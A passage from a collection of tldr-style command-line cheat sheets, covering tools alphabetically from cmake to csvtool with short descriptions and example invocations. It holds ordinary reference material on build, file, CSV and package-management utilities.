More information: https://cmake.org/cmake/help/latest/manual/cmake.1.html.

• Generate a build recipe in the current directory with CMakeLists.txt from a


project directory:

cmake {{path/to/project_directory}}

• Generate a build recipe, with build type set to Release with CMake variable:

cmake {{path/to/project_directory}} -D
{{CMAKE_BUILD_TYPE=Release}}

• Use a generated recipe in a given directory to build artifacts:

cmake --build {{path/to/build_directory}}

• Install the build artifacts into /usr/local/ and strip debugging symbols:

cmake --install {{path/to/build_directory}} --strip

• Install the build artifacts using the custom prefix for paths:

cmake --install {{path/to/build_directory}} --strip --prefix


{{path/to/directory}}

• Run a custom build target:

cmake --build {{path/to/build_directory}} --target


{{target_name}}
cmark
Converts CommonMark Markdown formatted text to other formats.

More information: https://github.com/commonmark/cmark.

• Render a CommonMark Markdown file to HTML:

cmark --to html {{filename.md}}

• Convert data from standard input to LaTeX:

cmark --to latex

• Convert straight quotes to smart quotes:

cmark --smart --to html {{filename.md}}

• Validate UTF-8 characters:

cmark --validate-utf8 {{filename.md}}


cmatrix
Shows a scrolling Matrix like screen in the terminal.

More information: https://github.com/abishekvashok/cmatrix.

• Enable asynchronous scrolling:

cmatrix -a

• Display red text:

cmatrix -C {{red}}

• Enable rainbow mode:

cmatrix -r

• Set screen update delay to 2 centiseconds (20 milliseconds):

cmatrix -u {{2}}
cmp
Compare two files byte by byte.

More information: https://www.gnu.org/software/diffutils/manual/html_node/Invoking-


cmp.html.

• Find the byte and line number of the first difference between two files:

cmp {{path/to/file1}} {{path/to/file2}}

• Find the byte number and differing bytes of every difference:

cmp -l {{path/to/file1}} {{path/to/file2}}


code
Visual Studio Code.

More information: https://github.com/microsoft/vscode.

• Open VS Code:

code

• Open the current directory in VS Code:

code .

• Open a file or directory in VS Code:

code {{path/to/file_or_directory}}

• Open a file or directory in the currently open VS Code window:

code --reuse-window {{path/to/file_or_directory}}

• Compare two files in VS Code:

code -d {{file1}} {{file2}}

• Open VS Code with superuser (sudo) permissions:

sudo code {{path/to/file_or_directory}} --user-data-dir


codespell
Spellchecker for source code.

More information: https://github.com/codespell-project/codespell.

• Check for typos in all text files in the current directory, recursively:

codespell

• Correct all typos found in-place:

codespell --write-changes

• Skip files with names that match the specified pattern (accepts a comma-separated
list of patterns using wildcards):

codespell --skip "{{pattern}}"

• Use a custom dictionary file when checking (--dictionary can be used multiple
times):

codespell --dictionary {{path/to/file.txt}}

• Do not check words that are listed in the specified file:

codespell --ignore-words {{path/to/file.txt}}

• Do not check the specified words:

codespell --ignore-words-list {{words,to,ignore}}

• Print 3 lines of context around, before or after each match:

codespell --{{context|before-context|after-context}} {{3}}

• Check file names for typos, in addition to file contents:

codespell --check-filenames
coffee
Executes CoffeeScript scripts or compiles them into JavaScript.

More information: https://coffeescript.org#cli.

• Run a script:

coffee {{path/to/file.coffee}}

• Compile to JavaScript and save to a file with the same name:

coffee --compile {{path/to/file.coffee}}

• Compile to JavaScript and save to a given output file:

coffee --compile {{path/to/file.coffee}} --output {{path/to/


file.js}}

• Start a REPL (interactive shell):

coffee --interactive

• Watch script for changes and re-run script:

coffee --watch {{path/to/file.coffee}}


cola
This command is an alias of git-cola.

• View documentation for the original command:

tldr git-cola
colordiff
A tool to colorize diff output.

The Perl script colordiff is a wrapper for diff and produces the same output but with
pretty syntax highlighting. Colour schemes can be customized.

More information: https://github.com/kimmel/colordiff.

• Compare files:

colordiff {{file1}} {{file2}}

• Output in two columns:

colordiff -y {{file1}} {{file2}}

• Ignore case differences in file contents:

colordiff -i {{file1}} {{file2}}

• Report when two files are the same:

colordiff -s {{file1}} {{file2}}

• Ignore white spaces:

colordiff -w {{file1}} {{file2}}


colorls
A Ruby gem that beautifies the terminal's ls command, with color and font-awesome
icons.

More information: https://github.com/athityakumar/colorls.

• List files one per line:

colorls -1

• List all files, including hidden files:

colorls --all

• Long format list (permissions, ownership, size, and modification date) of all files:

colorls --long --all

• Only list directories:

colorls --dirs
colorpicker
A minimalist X11 colorpicker.

Any mouse gesture except left click will exit the program.

More information: https://github.com/ym1234/colorpicker.

• Launch colorpicker and print the hexadecimal and RGB value of each clicked pixel
to stdout:

colorpicker

• Only print the color of one clicked pixel and then exit:

colorpicker --one-shot

• Print the color of each clicked pixel and quit when a key is pressed:

colorpicker --quit-on-keypress

• Only print the RGB value:

colorpicker --rgb

• Only print the hexadecimal value:

colorpicker --hex
column
Format standard input or a file into multiple columns.

Columns are filled before rows; the default separator is a whitespace.

More information: https://manned.org/column.

• Format the output of a command for a 30 characters wide display:

printf "header1 header2\nbar foo\n" | column --output-width


{{30}}

• Split columns automatically and auto-align them in a tabular format:

printf "header1 header2\nbar foo\n" | column --table

• Specify the column delimiter character for the --table option (e.g. "," for CSV)
(defaults to whitespace):

printf "header1,header2\nbar,foo\n" | column --table --


separator {{,}}

• Fill rows before filling columns:

printf "header1\nbar\nfoobar\n" | column --output-width


{{30}} --fillrows
comm
Select or reject lines common to two files. Both files must be sorted.

More information: https://www.gnu.org/software/coreutils/comm.

• Produce three tab-separated columns: lines only in first file, lines only in second
file and common lines:

comm {{file1}} {{file2}}

• Print only lines common to both files:

comm -12 {{file1}} {{file2}}

• Print only lines common to both files, reading one file from stdin:

cat {{file1}} | comm -12 - {{file2}}

• Get lines only found in first file, saving the result to a third file:

comm -23 {{file1}} {{file2}} > {{file1_only}}

• Print lines only found in second file, when the files aren't sorted:

comm -13 <(sort {{file1}}) <(sort {{file2}})


command
Command forces the shell to execute the program and ignore any functions, builtins and
aliases with the same name.

More information: https://manned.org/command.

• Execute the ls program literally, even if an ls alias exists:

command {{ls}}

• Display the path to the executable or the alias definition of a specific command:

command -v {{command_name}}
compare
View the difference between 2 images.

More information: https://imagemagick.org/script/compare.php.

• Compare 2 images:

compare {{image1.png}} {{image2.png}} {{diff.png}}

• Compare 2 images using a custom metric:

compare -verbose -metric {{PSNR}} {{image1.png}}


{{image2.png}} {{diff.png}}
compgen
A built-in command for auto-completion in Bash, which is called on pressing TAB key
twice.

More information: https://www.gnu.org/software/bash/manual/bash.html#index-


compgen.

• List all commands that you could run:

compgen -c

• List all aliases:

compgen -a

• List all functions that you could run:

compgen -A function

• Show shell reserved keywords:

compgen -k

• See all available commands/aliases starting with 'ls':

compgen -ac {{ls}}


complete
Provides argument autocompletion to shell commands.

More information: https://www.gnu.org/software/bash/manual/html_node/


Programmable-Completion-Builtins.html.

• Apply a function that performs autocompletion to a command:

complete -F {{function}} {{command}}

• Apply a command that performs autocompletion to another command:

complete -C {{autocomplete_command}} {{command}}

• Apply autocompletion without appending a space to the completed word:

complete -o nospace -F {{function}} {{command}}


composer-require-checker
A CLI tool to analyse Composer dependencies for soft dependencies.

More information: https://github.com/maglnet/ComposerRequireChecker.

• Analyse a Composer JSON file:

composer-require-checker check {{path/to/composer.json}}

• Analyse a Composer JSON file with a specific configuration:

composer-require-checker check --config-file {{path/to/


config.json}} {{path/to/composer.json}}
composer
A package-based dependency manager for PHP projects.

More information: https://getcomposer.org/.

• Interactively create a composer.json file:

composer init

• Add a package as a dependency for this project, adding it to composer.json:

composer require {{user/package_name}}

• Install all the dependencies in this project's composer.json and create


composer.lock:

composer install

• Uninstall a package from this project, removing it as a dependency from


composer.json:

composer remove {{user/package_name}}

• Update all the dependencies in this project's composer.json and note versions
in composer.lock file:

composer update

• Update composer lock only after updating composer.json manually:

composer update --lock

• Learn more about why a dependency can't be installed:

composer why-not {{user/package_name}}

• Update composer to its latest version:

composer self-update
conan frogarian
Displays the conan frogarian.

More information: https://docs.conan.io/.

• Display the conan frogarian:

conan frogarian
conan
The open source, decentralized and cross-platform package manager to create and share
all your native binaries.

Some subcommands such as conan frogarian have their own usage documentation.

More information: https://conan.io/.

• Install packages based on conanfile.txt:

conan install {{.}}

• Install packages and create configuration files for a specific generator:

conan install -g {{generator}}

• Install packages, building from source:

conan install {{.}} --build

• Search for locally installed packages:

conan search {{package}}

• Search for remote packages:

conan search {{package}} -r {{remote}}

• List remotes:

conan remote list


conda create
Create new conda environments.

More information: https://docs.conda.io/projects/conda/en/latest/commands/


create.html.

• Create a new environment named py39, and install Python 3.9 and NumPy v1.11
or above in it:

conda create --yes --name {{py39}} python={{3.9}}


"{{numpy>=1.11}}"

• Make exact copy of an environment:

conda create --clone {{py39}} --name {{py39-copy}}

• Create a new environment with a specified name and install a given package:

conda create --name {{env_name}} {{package_name}}


conda
Package, dependency and environment management for any programming language.

Some subcommands such as conda create have their own usage documentation.

More information: https://github.com/conda/conda.

• Create a new environment, installing named packages into it:

conda create --name {{environment_name}} {{python=3.9


matplotlib}}

• List all environments:

conda info --envs

• Load an environment:

conda {{activate environment_name}}

• Unload an environment:

conda {{deactivate}}

• Delete an environment (remove all packages):

conda remove --name {{environment_name}} --all

• Install packages into the current environment:

conda install {{python=3.4 numpy}}

• List currently installed packages in current environment:

conda list

• Delete unused packages and caches:

conda clean --all


consul-kv
Distributed key-value store with health checking and service discovery.

More information: https://learn.hashicorp.com/consul/getting-started/kv.

• Read a value from the key-value store:

consul kv get {{key}}

• Store a new key-value pair:

consul kv put {{key}} {{value}}

• Delete a key-value pair:

consul kv delete {{key}}


consul
Distributed key-value store with health checking and service discovery.

Some subcommands such as consul kv have their own usage documentation.

More information: https://www.consul.io/commands.

• Check the Consul version:

consul --version

• Show general help:

consul --help

• Show help for a sub-command:

consul {{sub-command}} --help


convert
ImageMagick image conversion tool.

More information: https://imagemagick.org/script/convert.php.

• Convert an image from JPG to PNG:

convert {{image.jpg}} {{image.png}}

• Scale an image 50% its original size:

convert {{image.png}} -resize 50% {{image2.png}}

• Scale an image keeping the original aspect ratio to a maximum dimension of


640x480:

convert {{image.png}} -resize 640x480 {{image2.png}}

• Horizontally append images:

convert {{image1.png}} {{image2.png}} {{image3.png}} +append


{{image123.png}}

• Vertically append images:

convert {{image1.png}} {{image2.png}} {{image3.png}} -append


{{image123.png}}

• Create a GIF from a series of images with 100ms delay between them:

convert {{image1.png}} {{image2.png}} {{image3.png}} -delay


{{10}} {{animation.gif}}

• Create an image with nothing but a solid background:

convert -size {{800x600}} "xc:{{#ff0000}}" {{image.png}}

• Create a favicon from several images of different sizes:

convert {{image1.png}} {{image2.png}} {{image3.png}}


{{image.ico}}
convmv
Convert filenames (NOT file content) from one encoding to another.

More information: https://www.j3e.de/linux/convmv/man/.

• Test filename encoding conversion (don't actually change the filename):

convmv -f {{from_encoding}} -t {{to_encoding}} {{input_file}}

• Convert filename encoding and rename the file to the new encoding:

convmv -f {{from_encoding}} -t {{to_encoding}} --notest


{{input_file}}
copyq
Clipboard manager with advanced features.

More information: https://hluk.github.io/CopyQ/.

• Launch CopyQ to store clipboard history:

copyq

• Show current clipboard content:

copyq clipboard

• Insert raw text into the clipboard history:

copyq add -- {{text1}} {{text2}} {{text3}}

• Insert text containing escape sequences ('\n', '\t') into the clipboard history:

copyq add {{firstline\nsecondline}}

• Print the content of the first 3 items in the clipboard history:

copyq read 0 1 2

• Copy a file's contents into the clipboard:

copyq copy < {{file.txt}}

• Copy a JPEG image into the clipboard:

copyq copy image/jpeg < {{image.jpg}}


cordova
Mobile apps with HTML, CSS & JS.

More information: https://cordova.apache.org/docs/en/latest/guide/cli/.

• Create a Cordova project:

cordova create {{path}} {{package_name}} {{project_name}}

• Display the current workspace status:

cordova info

• Add a Cordova platform:

cordova platform add {{platform}}

• Remove a Cordova platform:

cordova platform remove {{platform}}

• Add a Cordova plugin:

cordova plugin add {{pluginid}}

• Remove a Cordova plugin:

cordova plugin remove {{pluginid}}


core-validate-commit
Validate commit messages for Node.js core.

More information: https://github.com/nodejs/core-validate-commit.

• Validate the current commit:

core-validate-commit

• Validate a specific commit:

core-validate-commit {{commit_hash}}

• Validate a range of commits:

git rev-list {{commit_hash}}..HEAD | xargs core-validate-


commit

• List all validation rules:

core-validate-commit --list

• List all valid Node.js subsystems:

core-validate-commit --list-subsystem

• Validate the current commit formatting the output in tap format:

core-validate-commit --tap

• Display help:

core-validate-commit --help
corepack
Zero-runtime-dependency package acting as bridge between Node projects and their
package managers.

More information: https://github.com/nodejs/corepack.

• Add the Corepack shims to the Node.js installation directory to make them
available as global commands:

corepack enable

• Add the Corepack shims to a specific directory:

corepack enable --install-directory {{path/to/directory}}

• Remove the Corepack shims from the Node.js installation directory:

corepack disable

• Prepare a specific package manager:

corepack prepare {{package_manager}}@{{version}} --activate

• Prepare the package manager configured for the project in the current path:

corepack prepare

• Use a package manager without installing it as a global command:

corepack {{npm|pnpm|yarn}} {{package_manager_arguments}}

• Install a package manager from the specified archive:

corepack hydrate {{path/to/corepack.tgz}}

• Display help for a subcommand:

corepack {{subcommand}} --help


cosign
Container Signing, Verification and Storage in an OCI registry.

More information: https://github.com/sigstore/cosign.

• Generate a key-pair:

cosign generate-key-pair

• Sign a container and store the signature in the registry:

cosign sign -key {{cosign.key}} {{image}}

• Sign a container image with a key pair stored in a Kubernetes secret:

cosign sign -key k8s://{{namespace}}/{{key}} {{image}}

• Sign a blob with a local key pair file:

cosign sign-blob --key {{cosign.key}} {{file}}

• Verify a container against a public key:

cosign verify -key {{cosign.pub}} {{image}}

• Verify images with a public key in a Dockerfile:

cosign dockerfile verify -key {{cosign.pub}} {{path/to/


Dockerfile}}

• Verify an image with a public key stored in a Kubernetes secret:

cosign verify -key k8s://{{namespace}}/{{key}} {{image}}

• Copy a container image and its signatures:

cosign copy {{example.com/src:latest}} {{example.com/


dest:latest}}
cotton
Markdown test specification runner.

More information: https://github.com/chonla/cotton.

• Use a specific base URL:

cotton -u {{base_url}} {{file}}.md

• Disable certificate verification (insecure mode):

cotton -u {{base_url}} -i {{file}}.md

• Stop running when a test fails:

cotton -u {{base_url}} -s {{file}}.md


couchdb
Command-line interface for Apache CouchDB database server.

More information: https://couchdb.apache.org.

• Start CouchDB:

couchdb

• Start CouchDB interactive shell:

couchdb -i

• Start CouchDB as a background process:

couchdb -b

• Kill the background process (Note: It will respawn if needed):

couchdb -k

• Shutdown the background process:

couchdb -d
cowsay
Print ASCII art (by default a cow) saying or thinking something.

More information: https://github.com/tnalpgge/rank-amateur-cowsay.

• Print an ASCII cow saying "hello, world":

cowsay "{{hello, world}}"

• Print an ASCII cow saying text from stdin:

echo "{{hello, world}}" | cowsay

• List all available art types:

cowsay -l

• Print the specified ASCII art saying "hello, world":

cowsay -f {{art}} "{{hello, world}}"

• Print a dead thinking ASCII cow:

cowthink -d "{{I'm just a cow, not a great thinker...}}"

• Print an ASCII cow with custom eyes saying "hello, world":

cowsay -e {{characters}} "{{hello, world}}"


cp
Copy files and directories.

More information: https://www.gnu.org/software/coreutils/cp.

• Copy a file to another location:

cp {{path/to/source_file.ext}} {{path/to/target_file.ext}}

• Copy a file into another directory, keeping the filename:

cp {{path/to/source_file.ext}} {{path/to/
target_parent_directory}}

• Recursively copy a directory's contents to another location (if the destination


exists, the directory is copied inside it):

cp -R {{path/to/source_directory}} {{path/to/
target_directory}}

• Copy a directory recursively, in verbose mode (shows files as they are copied):

cp -vR {{path/to/source_directory}} {{path/to/


target_directory}}

• Copy text files to another location, in interactive mode (prompts user before
overwriting):

cp -i {{*.txt}} {{path/to/target_directory}}

• Follow symbolic links before copying:

cp -L {{link}} {{path/to/target_directory}}
cpdf
CLI to manipulate existing PDF files in a variety of ways.

More information: https://www.coherentpdf.com/cpdfmanual/cpdfmanual.html.

• Select pages 1, 2, 3 and 6 from a source document and write those to a destination
document:

cpdf {{path/to/source_document.pdf}} {{1-3,6}} -o {{path/to/


destination_document.pdf}}

• Merge two documents into a new one:

cpdf -merge {{path/to/source_document_one.pdf}} {{path/to/


source_document_two.pdf}} -o {{path/to/
destination_document.pdf}}

• Show the bookmarks of a document:

cpdf -list-bookmarks {{path/to/document.pdf}}

• Split a document into ten-page chunks, writing them to chunk001.pdf,


chunk002.pdf, etc:

cpdf -split {{path/to/document.pdf}} -o {{path/to/chunk%%


%.pdf}} -chunk {{10}}

• Encrypt a document using 128bit encryption, providing fred as owner password


and joe as user password:

cpdf -encrypt {{128bit}} {{fred}} {{joe}} {{path/to/


source_document.pdf}} -o {{path/to/encrypted_document.pdf}}

• Decrypt a document using the owner password fred:

cpdf -decrypt {{path/to/encrypted_document.pdf}}


owner={{fred}} -o {{path/to/decrypted_document.pdf}}

• Show the annotations of a document:

cpdf -list-annotations {{path/to/document.pdf}}

• Create a new document from an existing one with additional metadata:

cpdf -set-metadata {{path/to/metadata.xml}} {{path/to/


source_document.pdf}} -o {{path/to/destination_document.pdf}}
cpio
Copies files in and out of archives.

Supports the following archive formats: cpio's custom binary, old ASCII, new ASCII, crc,
HPUX binary, HPUX old ASCII, old tar, and POSIX.1 tar.

More information: https://www.gnu.org/software/cpio.

• Take a list of file names from standard input and add them [o]nto an archive in
cpio's binary format:

echo "{{file1}} {{file2}} {{file3}}" | cpio -o >


{{archive.cpio}}

• Copy all files and directories in a directory and add them [o]nto an archive, in
[v]erbose mode:

find {{path/to/directory}} | cpio -ov > {{archive.cpio}}

• P[i]ck all files from an archive, generating [d]irectories where needed, in [v]erbose
mode:

cpio -idv < {{archive.cpio}}


cppcheck
A static analysis tool for C/C++ code.

Instead of syntax errors, it focuses on the types of bugs that compilers normally do not
detect.

More information: http://cppcheck.sourceforge.net.

• Recursively check the current directory, showing progress on the screen and
logging error messages to a file:

cppcheck . 2> cppcheck.log

• Recursively check a given directory, and don't print progress messages:

cppcheck --quiet {{path/to/directory}}

• Check a given file, specifying which tests to perform (by default only errors are
shown):

cppcheck --enable={{error|warning|style|performance|
portability|information|all}} {{path/to/file.cpp}}

• List available tests:

cppcheck --errorlist

• Check a given file, ignoring specific tests:

cppcheck --suppress={{test_id1}} --suppress={{test_id2}}


{{path/to/file.cpp}}

• Check the current directory, providing paths for include files located outside it
(e.g. external libraries):

cppcheck -I {{include/directory_1}} -I {{include/


directory_2}} .

• Check a Microsoft Visual Studio project (*.vcxproj) or solution (*.sln):

cppcheck --project={{path/to/project.sln}}
cppclean
Find unused code in C++ projects.

More information: https://github.com/myint/cppclean.

• Run in a project's directory:

cppclean {{path/to/project}}

• Run on a project where the headers are in the inc1/ and inc2/ directories:

cppclean {{path/to/project}} --include-path={{inc1}} --


include-path={{inc2}}

• Run on a specific file main.cpp:

cppclean {{main.cpp}}

• Run on the current directory, excluding the "build" directory:

cppclean {{.}} --exclude={{build}}


cradle deploy
Manage Cradle deployments.

More information: https://cradlephp.github.io/docs/3.B.-Reference-Command-Line-


Tools.html#deploy.

• Deploy Cradle to a server:

cradle deploy production

• Deploy static assets to Amazon S3:

cradle deploy s3

• Deploy static assets including the Yarn "components" directory:

cradle deploy s3 --include-yarn

• Deploy static assets including the "upload" directory:

cradle deploy s3 --include-upload


cradle elastic
Manage the Elasticsearch instances for a Cradle instance.

More information: https://cradlephp.github.io/docs/3.B.-Reference-Command-Line-


Tools.html#elastic.

• Truncate the Elasticsearch index:

cradle elastic flush

• Truncate the Elasticsearch index for a specific package:

cradle elastic flush {{package_name}}

• Submit the Elasticsearch schema:

cradle elastic map

• Submit the Elasticsearch schema for a specific package:

cradle elastic map {{package_name}}

• Populate the Elasticsearch indices for all packages:

cradle elastic populate

• Populate the Elasticsearch indices for a specific package:

cradle elastic populate {{package_name}}


cradle install
Installs the Cradle PHP framework components.

More information: https://cradlephp.github.io/docs/3.B.-Reference-Command-Line-


Tools.html#install.

• Install Cradle's components (User will be prompted for further details):

cradle install

• Forcefully overwrite files:

cradle install --force

• Skip running SQL migrations:

cradle install --skip-sql

• Skip running package updates:

cradle install --skip-versioning

• Use specific database details:

cradle install -h {{hostname}} -u {{username}} -p


{{password}}
cradle package
Manage packages for a Cradle instance.

More information: https://cradlephp.github.io/docs/3.B.-Reference-Command-Line-


Tools.html#package.

• Display a list of available packages:

cradle package list

• Search for a package:

cradle package search {{package}}

• Install a package from Packagist:

cradle package install {{package}}

• Install a specific version of a package:

cradle package install {{package}} {{version}}

• Update a package:

cradle package update {{package}}

• Update a package to a specific version:

cradle package update {{package}} {{version}}

• Remove a specific package:

cradle package remove {{package}}


cradle sql
Manage Cradle SQL databases.

More information: https://cradlephp.github.io/docs/3.B.-Reference-Command-Line-


Tools.html#sql.

• Rebuild the database schema:

cradle sql build

• Rebuild the database schema for a specific package:

cradle sql build {{package_name}}

• Empty the entire database:

cradle sql flush

• Empty the database tables for a specific package:

cradle sql flush {{package_name}}

• Populate the tables for all packages:

cradle sql populate

• Populate the tables for a specific package:

cradle sql populate {{package_name}}


cradle
The Cradle PHP framework.

Some subcommands such as cradle install have their own usage documentation.

More information: https://cradlephp.github.io.

• Connect to a server:

cradle connect {{server_name}}

• Display general help:

cradle help

• Display help for a specific command:

cradle {{command}} help

• Execute a Cradle command:

cradle {{command}}
croc
Send and receive files easily and securely over any network.

More information: https://github.com/schollz/croc.

• Send a file or directory:

croc send {{path/to/file_or_directory}}

• Send a file or directory with a specific passphrase:

croc send --code {{passphrase}} {{path/to/file_or_directory}}

• Receive a file or directory on receiving machine:

croc {{passphrase}}

• Send and connect over a custom relay:

croc --relay {{ip_to_relay}} send {{path/to/


file_or_directory}}

• Receive and connect over a custom relay:

croc --relay {{ip_to_relay}} {{passphrase}}

• Host a croc relay on the default ports:

croc relay

• Display parameters and options for a croc command:

croc {{send|relay}} --help


cronic
Bash script for wrapping cron jobs to prevent excess email sending.

More information: https://habilis.net/cronic/.

• Call a command and display its output if it returns a non-zero exit code:

cronic {{command}}
crontab
Schedule cron jobs to run on a time interval for the current user.

Job definition format: "(min) (hour) (day_of_month) (month) (day_of_week)


command_to_execute".

More information: https://manned.org/crontab.

• Edit the crontab file for the current user:

crontab -e

• Edit the crontab file for a specific user:

sudo crontab -e -u {{user}}

• Replace the current crontab with the contents of the given file:

crontab {{path/to/file}}

• View a list of existing cron jobs for current user:

crontab -l

• Remove all cron jobs for the current user:

crontab -r

• Sample job which runs at 10:00 every day (* means any value):

0 10 * * * {{command_to_execute}}

• Sample job which runs every minute on the 3rd of April:

* * 3 Apr * {{command_to_execute}}

• Sample job which runs a certain script at 02:30 every Friday:

30 2 * * Fri {{/absolute/path/to/script.sh}}
crunch
Wordlist generator.

More information: https://sourceforge.net/projects/crunch-wordlist/.

• Output a list of words of length 1 to 3 with only lowercase characters:

crunch {{1}} {{3}}

• Output a list of hexadecimal words of length 8:

crunch {{8}} {{8}} {{0123456789abcdef}}

• Output a list of all permutations of abc (lengths are not processed):

crunch {{1}} {{1}} -p {{abc}}

• Output a list of all permutations of the given strings (lengths are not processed):

crunch {{1}} {{1}} -p {{abc}} {{def}} {{ghi}}

• Output a list of words generated according to the given pattern and a maximum
number of duplicate letters:

crunch {{5}} {{5}} {{abcde123}} -t {{@@@12}} -d 2@

• Write a list of words in chunk files of a given size, starting with the given string:

crunch {{3}} {{5}} -o {{START}} -b {{10kb}} -s {{abc}}

• Write a list of words stopping with the given string and inverting the wordlist:

crunch {{1}} {{5}} -o {{START}} -e {{abcde}} -i

• Write a list of words in compressed chunk files with a specified number of words:

crunch {{1}} {{5}} -o {{START}} -c {{1000}} -z {{gzip|bzip2|


lzma|7z}}
cryfs
A cryptographic filesystem for the cloud.

More information: https://www.cryfs.org/.

• Mount an encrypted filesystem. The initialization wizard will be started on the


first execution:

cryfs {{path/to/cipher_dir}} {{path/to/mount_point}}

• Unmount an encrypted filesystem:

cryfs-unmount {{path/to/mount_point}}

• Automatically unmount after ten minutes of inactivity:

cryfs --unmount-idle {{10}} {{path/to/cipher_dir}} {{path/to/


mount_point}}

• Show a list of supported ciphers:

cryfs --show-ciphers
crystal
Tool for managing Crystal source code.

More information: https://crystal-lang.org/reference/using_the_compiler.

• Run a Crystal file:

crystal {{path/to/file.cr}}

• Compile a file and all dependencies to a single executable:

crystal build {{path/to/file.cr}}

• Start a local interactive server for testing the language:

crystal play

• Create a project directory for a Crystal application:

crystal init app {{application_name}}

• Display all help options:

crystal help
csc
The Microsoft C# Compiler.

More information: https://docs.microsoft.com/dotnet/csharp/language-reference/


compiler-options/command-line-building-with-csc-exe.

• Compile one or more C# files to a CIL executable:

csc {{path/to/input_file_a.cs}} {{path/to/input_file_b.cs}}

• Specify the output filename:

csc /out:{{path/to/filename}} {{path/to/input_file.cs}}

• Compile into a .dll library instead of an executable:

csc /target:library {{path/to/input_file.cs}}

• Reference another assembly:

csc /reference:{{path/to/library.dll}} {{path/to/


input_file.cs}}

• Embed a resource:

csc /resource:{{path/to/resource_file}} {{path/to/


input_file.cs}}

• Automatically generate XML documentation:

csc /doc:{{path/to/output.xml}} {{path/to/input_file.cs}}

• Specify an icon:

csc /win32icon:{{path/to/icon.ico}} {{path/to/input_file.cs}}

• Strongly-name the resulting assembly with a keyfile:

csc /keyfile:{{path/to/keyfile}} {{path/to/input_file.cs}}


csh
The shell (command interpreter) with C-like syntax.

More information: https://www.mkssoftware.com/docs/man1/csh.1.asp.

• Start an interactive shell session:

csh

• Start an interactive shell session without loading startup configs:

csh -f

• Execute a [c]ommand:

csh -c "{{command}}"

• Execute a script:

csh {{path/to/script.csh}}
csslint
A linter for CSS code.

More information: https://github.com/CSSLint/csslint/wiki/Command-line-interface.

• Lint a single CSS file:

csslint {{file.css}}

• Lint multiple CSS files:

csslint {{file1.css}} {{file2.css}} {{file3.css}}

• List all possible style rules:

csslint --list-rules

• Specify certain rules as errors (which result in a non-zero exit code):

csslint --errors={{errors,universal-selector,imports}}
{{file.css}}

• Specify certain rules as warnings:

csslint --warnings={{box-sizing,selector-max,floats}}
{{file.css}}

• Specify certain rules to ignore:

csslint --ignore={{ids,rules-count,shorthand}} {{file.css}}


csvclean
Finds and cleans common syntax errors in CSV files.

Included in csvkit.

More information: https://csvkit.readthedocs.io/en/latest/scripts/csvclean.html.

• Clean a CSV file:

csvclean {{bad.csv}}

• List locations of syntax errors in a CSV file:

csvclean -n {{bad.csv}}
csvcut
Filter and truncate CSV files. Like Unix's cut command, but for tabular data.

Included in csvkit.

More information: https://csvkit.readthedocs.io/en/latest/scripts/csvcut.html.

• Print indices and names of all columns:

csvcut -n {{data.csv}}

• Extract the first and third columns:

csvcut -c {{1,3}} {{data.csv}}

• Extract all columns except the fourth one:

csvcut -C {{4}} {{data.csv}}

• Extract the columns named "id" and "first name" (in that order):

csvcut -c {{id,"first name"}} {{data.csv}}


csvformat
Convert a CSV file to a custom output format.

Included in csvkit.

More information: https://csvkit.readthedocs.io/en/latest/scripts/csvformat.html.

• Convert to a tab-delimited file (TSV):

csvformat -T {{data.csv}}

• Convert delimiters to a custom character:

csvformat -D "{{custom_character}}" {{data.csv}}

• Convert line endings to carriage return (^M) + line feed:

csvformat -M "{{\r\n}}" {{data.csv}}

• Minimize use of quote characters:

csvformat -U 0 {{data.csv}}

• Maximize use of quote characters:

csvformat -U 1 {{data.csv}}
csvgrep
Filter CSV rows with string and pattern matching.

Included in csvkit.

More information: https://csvkit.readthedocs.io/en/latest/scripts/csvgrep.html.

• Find rows that have a certain string in column 1:

csvgrep -c {{1}} -m {{string_to_match}} {{data.csv}}

• Find rows in which columns 3 or 4 match a certain regular expression:

csvgrep -c {{3,4}} -r {{regular_expression}} {{data.csv}}

• Find rows in which the "name" column does NOT include the string "John Doe":

csvgrep -i -c {{name}} -m "{{John Doe}}" {{data.csv}}


csvkit
Manipulation toolkit for CSV files.

See the individual commands: csvclean, csvcut, csvformat, csvgrep, csvlook,


csvpy, csvsort, csvstat.

More information: https://csvkit.readthedocs.io/en/0.9.1/cli.html.

• Run a command on a CSV file with a custom delimiter:

{{cmd}} -d {{delimiter}} {{filename.csv}}

• Run a command on a CSV file with a tab as a delimiter (overrides -d):

{{cmd}} -t {{filename.csv}}

• Run a command on a CSV file with a custom quote character:

{{cmd}} -q {{quote_char}} {{filename.csv}}

• Run a command on a CSV file with no header row:

{{cmd}} -H {{filename.csv}}
csvlook
Render a CSV file in the console as a fixed-width table.

Included in csvkit.

More information: https://csvkit.readthedocs.io/en/latest/scripts/csvlook.html.

• View a CSV file:

csvlook {{data.csv}}
csvpy
Loads a CSV file into a Python shell.

Included in csvkit.

More information: https://csvkit.readthedocs.io/en/latest/scripts/csvpy.html.

• Load a CSV file into a CSVKitReader object:

csvpy {{data.csv}}

• Load a CSV file into a CSVKitDictReader object:

csvpy --dict {{data.csv}}


csvsort
Sorts CSV files.

Included in csvkit.

More information: https://csvkit.readthedocs.io/en/latest/scripts/csvsort.html.

• Sort a CSV file by column 9:

csvsort -c {{9}} {{data.csv}}

• Sort a CSV file by the "name" column in descending order:

csvsort -r -c {{name}} {{data.csv}}

• Sort a CSV file by column 2, then by column 4:

csvsort -c {{2,4}} {{data.csv}}

• Sort a CSV file without inferring data types:

csvsort --no-inference -c {{columns}} {{data.csv}}


csvsql
Generate SQL statements for a CSV file or execute those statements directly on a
database.

Included in csvkit.

More information: https://csvkit.readthedocs.io/en/latest/scripts/csvsql.html.

• Generate a CREATE TABLE SQL statement for a CSV file:

csvsql {{path/to/data.csv}}

• Import a CSV file into an SQL database:

csvsql --insert --db "{{mysql://user:password@host/


database}}" {{data.csv}}

• Run an SQL query on a CSV file:

csvsql --query "{{select * from 'data'}}" {{data.csv}}


csvstat
Print descriptive statistics for all columns in a CSV file.

Included in csvkit.

More information: https://csvkit.readthedocs.io/en/latest/scripts/csvstat.html.

• Show all stats for all columns:

csvstat {{data.csv}}

• Show all stats for columns 2 and 4:

csvstat -c {{2,4}} {{data.csv}}

• Show sums for all columns:

csvstat --sum {{data.csv}}

• Show the max value length for column 3:

csvstat -c {{3}} --len {{data.csv}}

• Show the number of unique values in the "name" column:

csvstat -c {{name}} --unique {{data.csv}}


csvtool
Utility to filter and extract data from CSV formatted sources.

More information: https://github.com/maroofi/csvtool.

• Extract the second column from a CSV file:

csvtool --column {{2}} {{path/to/file.csv}}

• Extract the second and fourth columns from a CSV file:

